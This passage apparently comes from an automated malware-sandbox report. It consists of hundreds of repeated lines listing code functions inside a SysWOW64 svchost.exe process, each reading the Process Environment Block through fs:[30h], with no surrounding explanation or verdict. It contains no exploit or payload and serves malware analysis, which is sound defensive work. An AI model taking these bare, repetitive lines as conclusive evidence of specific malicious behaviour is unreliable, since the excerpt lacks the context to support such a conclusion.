Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC6F2 mov eax, dword ptr fs:[00000030h]	1_2_034AC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680 mov eax, dword ptr fs:[00000030h]	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438690 mov eax, dword ptr fs:[00000030h]	1_2_03438690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC691 mov eax, dword ptr fs:[00000030h]	1_2_034BC691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F86A8 mov eax, dword ptr fs:[00000030h]	1_2_034F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F86A8 mov eax, dword ptr fs:[00000030h]	1_2_034F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344E547 mov eax, dword ptr fs:[00000030h]	1_2_0344E547
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03466540 mov eax, dword ptr fs:[00000030h]	1_2_03466540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03468540 mov eax, dword ptr fs:[00000030h]	1_2_03468540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343254C mov eax, dword ptr fs:[00000030h]	1_2_0343254C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C6550 mov eax, dword ptr fs:[00000030h]	1_2_034C6550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FA553 mov eax, dword ptr fs:[00000030h]	1_2_034FA553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344C560 mov eax, dword ptr fs:[00000030h]	1_2_0344C560
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E507 mov eax, dword ptr fs:[00000030h]	1_2_0345E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03432500 mov eax, dword ptr fs:[00000030h]	1_2_03432500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C50D mov eax, dword ptr fs:[00000030h]	1_2_0346C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C50D mov eax, dword ptr fs:[00000030h]	1_2_0346C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC51D mov eax, dword ptr fs:[00000030h]	1_2_034BC51D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344252B mov eax, dword ptr fs:[00000030h]	1_2_0344252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472539 mov eax, dword ptr fs:[00000030h]	1_2_03472539
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C5C6 mov eax, dword ptr fs:[00000030h]	1_2_0346C5C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B05C6 mov eax, dword ptr fs:[00000030h]	1_2_034B05C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034665D0 mov eax, dword ptr fs:[00000030h]	1_2_034665D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A5E7 mov ebx, dword ptr fs:[00000030h]	1_2_0346A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A5E7 mov eax, dword ptr fs:[00000030h]	1_2_0346A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DE5E0 mov eax, dword ptr fs:[00000030h]	1_2_034DE5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC5FC mov eax, dword ptr fs:[00000030h]	1_2_034BC5FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE588 mov eax, dword ptr fs:[00000030h]	1_2_034AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AE588 mov eax, dword ptr fs:[00000030h]	1_2_034AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A580 mov eax, dword ptr fs:[00000030h]	1_2_0346A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A580 mov eax, dword ptr fs:[00000030h]	1_2_0346A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03462594 mov eax, dword ptr fs:[00000030h]	1_2_03462594
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC592 mov eax, dword ptr fs:[00000030h]	1_2_034BC592
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B85AA mov eax, dword ptr fs:[00000030h]	1_2_034B85AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034345B0 mov eax, dword ptr fs:[00000030h]	1_2_034345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034345B0 mov eax, dword ptr fs:[00000030h]	1_2_034345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445 mov eax, dword ptr fs:[00000030h]	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0443 mov eax, dword ptr fs:[00000030h]	1_2_034B0443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E45E mov eax, dword ptr fs:[00000030h]	1_2_0345E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E45E mov eax, dword ptr fs:[00000030h]	1_2_0345E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E45E mov eax, dword ptr fs:[00000030h]	1_2_0345E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E45E mov eax, dword ptr fs:[00000030h]	1_2_0345E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E45E mov eax, dword ptr fs:[00000030h]	1_2_0345E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BE461 mov eax, dword ptr fs:[00000030h]	1_2_034BE461
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FA464 mov eax, dword ptr fs:[00000030h]	1_2_034FA464
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438470 mov eax, dword ptr fs:[00000030h]	1_2_03438470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438470 mov eax, dword ptr fs:[00000030h]	1_2_03438470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C6400 mov eax, dword ptr fs:[00000030h]	1_2_034C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C6400 mov eax, dword ptr fs:[00000030h]	1_2_034C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342640D mov eax, dword ptr fs:[00000030h]	1_2_0342640D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034544D1 mov eax, dword ptr fs:[00000030h]	1_2_034544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034544D1 mov eax, dword ptr fs:[00000030h]	1_2_034544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E4EF mov eax, dword ptr fs:[00000030h]	1_2_0346E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E4EF mov eax, dword ptr fs:[00000030h]	1_2_0346E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034364F0 mov eax, dword ptr fs:[00000030h]	1_2_034364F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D44F8 mov eax, dword ptr fs:[00000030h]	1_2_034D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D44F8 mov eax, dword ptr fs:[00000030h]	1_2_034D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A4F0 mov eax, dword ptr fs:[00000030h]	1_2_0346A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346A4F0 mov eax, dword ptr fs:[00000030h]	1_2_0346A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BE4F2 mov eax, dword ptr fs:[00000030h]	1_2_034BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BE4F2 mov eax, dword ptr fs:[00000030h]	1_2_034BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430485 mov ecx, dword ptr fs:[00000030h]	1_2_03430485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346648A mov eax, dword ptr fs:[00000030h]	1_2_0346648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346648A mov eax, dword ptr fs:[00000030h]	1_2_0346648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346648A mov eax, dword ptr fs:[00000030h]	1_2_0346648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC490 mov eax, dword ptr fs:[00000030h]	1_2_034BC490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034324A2 mov eax, dword ptr fs:[00000030h]	1_2_034324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034324A2 mov ecx, dword ptr fs:[00000030h]	1_2_034324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034644A8 mov eax, dword ptr fs:[00000030h]	1_2_034644A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C84BB mov eax, dword ptr fs:[00000030h]	1_2_034C84BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E4BC mov eax, dword ptr fs:[00000030h]	1_2_0346E4BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AB70 mov eax, dword ptr fs:[00000030h]	1_2_0343AB70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436B70 mov eax, dword ptr fs:[00000030h]	1_2_03436B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436B70 mov eax, dword ptr fs:[00000030h]	1_2_03436B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436B70 mov eax, dword ptr fs:[00000030h]	1_2_03436B70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504B67 mov eax, dword ptr fs:[00000030h]	1_2_03504B67
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E6B77 mov eax, dword ptr fs:[00000030h]	1_2_034E6B77
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03464B79 mov eax, dword ptr fs:[00000030h]	1_2_03464B79
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438B10 mov eax, dword ptr fs:[00000030h]	1_2_03438B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438B10 mov eax, dword ptr fs:[00000030h]	1_2_03438B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03438B10 mov eax, dword ptr fs:[00000030h]	1_2_03438B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440B10 mov eax, dword ptr fs:[00000030h]	1_2_03440B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440B10 mov eax, dword ptr fs:[00000030h]	1_2_03440B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440B10 mov eax, dword ptr fs:[00000030h]	1_2_03440B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440B10 mov eax, dword ptr fs:[00000030h]	1_2_03440B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345EB1C mov eax, dword ptr fs:[00000030h]	1_2_0345EB1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342CB1E mov eax, dword ptr fs:[00000030h]	1_2_0342CB1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346CB20 mov eax, dword ptr fs:[00000030h]	1_2_0346CB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BCB20 mov eax, dword ptr fs:[00000030h]	1_2_034BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BCB20 mov eax, dword ptr fs:[00000030h]	1_2_034BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BCB20 mov eax, dword ptr fs:[00000030h]	1_2_034BCB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342EBC0 mov eax, dword ptr fs:[00000030h]	1_2_0342EBC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_034B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_034B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_034B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_034B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D6BDE mov ebx, dword ptr fs:[00000030h]	1_2_034D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D6BDE mov eax, dword ptr fs:[00000030h]	1_2_034D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03458BD1 mov eax, dword ptr fs:[00000030h]	1_2_03458BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03458BD1 mov eax, dword ptr fs:[00000030h]	1_2_03458BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504BE0 mov eax, dword ptr fs:[00000030h]	1_2_03504BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F8BBE mov eax, dword ptr fs:[00000030h]	1_2_034F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F8BBE mov eax, dword ptr fs:[00000030h]	1_2_034F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F8BBE mov eax, dword ptr fs:[00000030h]	1_2_034F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F8BBE mov eax, dword ptr fs:[00000030h]	1_2_034F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345EA40 mov eax, dword ptr fs:[00000030h]	1_2_0345EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345EA40 mov eax, dword ptr fs:[00000030h]	1_2_0345EA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034CAA40 mov eax, dword ptr fs:[00000030h]	1_2_034CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034CAA40 mov eax, dword ptr fs:[00000030h]	1_2_034CAA40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4A57 mov eax, dword ptr fs:[00000030h]	1_2_034B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4A57 mov eax, dword ptr fs:[00000030h]	1_2_034B4A57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346AA0E mov eax, dword ptr fs:[00000030h]	1_2_0346AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346AA0E mov eax, dword ptr fs:[00000030h]	1_2_0346AA0E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440ACE mov eax, dword ptr fs:[00000030h]	1_2_03440ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440ACE mov eax, dword ptr fs:[00000030h]	1_2_03440ACE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D4AC2 mov eax, dword ptr fs:[00000030h]	1_2_034D4AC2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0AE0 mov eax, dword ptr fs:[00000030h]	1_2_034D0AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D2AE0 mov eax, dword ptr fs:[00000030h]	1_2_034D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D2AE0 mov eax, dword ptr fs:[00000030h]	1_2_034D2AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03450AEB mov eax, dword ptr fs:[00000030h]	1_2_03450AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03450AEB mov eax, dword ptr fs:[00000030h]	1_2_03450AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03450AEB mov eax, dword ptr fs:[00000030h]	1_2_03450AEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430AED mov eax, dword ptr fs:[00000030h]	1_2_03430AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430AED mov eax, dword ptr fs:[00000030h]	1_2_03430AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430AED mov eax, dword ptr fs:[00000030h]	1_2_03430AED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0AFF mov eax, dword ptr fs:[00000030h]	1_2_034B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0AFF mov eax, dword ptr fs:[00000030h]	1_2_034B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B0AFF mov eax, dword ptr fs:[00000030h]	1_2_034B0AFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03504AE8 mov eax, dword ptr fs:[00000030h]	1_2_03504AE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E6A80 mov eax, dword ptr fs:[00000030h]	1_2_034E6A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C944 mov eax, dword ptr fs:[00000030h]	1_2_0346C944
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345E94E mov eax, dword ptr fs:[00000030h]	1_2_0345E94E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03454955 mov eax, dword ptr fs:[00000030h]	1_2_03454955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03454955 mov eax, dword ptr fs:[00000030h]	1_2_03454955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C958 mov eax, dword ptr fs:[00000030h]	1_2_0346C958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344096B mov eax, dword ptr fs:[00000030h]	1_2_0344096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344096B mov eax, dword ptr fs:[00000030h]	1_2_0344096B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03436970 mov eax, dword ptr fs:[00000030h]	1_2_03436970
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03486912 mov eax, dword ptr fs:[00000030h]	1_2_03486912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03462919 mov eax, dword ptr fs:[00000030h]	1_2_03462919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03462919 mov eax, dword ptr fs:[00000030h]	1_2_03462919
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F892E mov eax, dword ptr fs:[00000030h]	1_2_034F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F892E mov eax, dword ptr fs:[00000030h]	1_2_034F892E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC920 mov ecx, dword ptr fs:[00000030h]	1_2_034AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC920 mov eax, dword ptr fs:[00000030h]	1_2_034AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC920 mov eax, dword ptr fs:[00000030h]	1_2_034AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AC920 mov eax, dword ptr fs:[00000030h]	1_2_034AC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0348693A mov eax, dword ptr fs:[00000030h]	1_2_0348693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0348693A mov eax, dword ptr fs:[00000030h]	1_2_0348693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0348693A mov eax, dword ptr fs:[00000030h]	1_2_0348693A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0350492D mov eax, dword ptr fs:[00000030h]	1_2_0350492D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034389C0 mov eax, dword ptr fs:[00000030h]	1_2_034389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034389C0 mov eax, dword ptr fs:[00000030h]	1_2_034389C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035029CF mov eax, dword ptr fs:[00000030h]	1_2_035029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035029CF mov eax, dword ptr fs:[00000030h]	1_2_035029CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034309F0 mov eax, dword ptr fs:[00000030h]	1_2_034309F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034649F0 mov eax, dword ptr fs:[00000030h]	1_2_034649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034649F0 mov eax, dword ptr fs:[00000030h]	1_2_034649F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C98F mov eax, dword ptr fs:[00000030h]	1_2_0346C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C98F mov eax, dword ptr fs:[00000030h]	1_2_0346C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C98F mov eax, dword ptr fs:[00000030h]	1_2_0346C98F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0980 mov eax, dword ptr fs:[00000030h]	1_2_034D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D0980 mov eax, dword ptr fs:[00000030h]	1_2_034D0980
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0 mov eax, dword ptr fs:[00000030h]	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B89A0 mov eax, dword ptr fs:[00000030h]	1_2_034B89A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034689B0 mov edx, dword ptr fs:[00000030h]	1_2_034689B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C69B0 mov eax, dword ptr fs:[00000030h]	1_2_034C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C69B0 mov eax, dword ptr fs:[00000030h]	1_2_034C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C69B0 mov ecx, dword ptr fs:[00000030h]	1_2_034C69B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BC870 mov eax, dword ptr fs:[00000030h]	1_2_034BC870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C819 mov eax, dword ptr fs:[00000030h]	1_2_0346C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346C819 mov eax, dword ptr fs:[00000030h]	1_2_0346C819
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835 mov eax, dword ptr fs:[00000030h]	1_2_034E0835
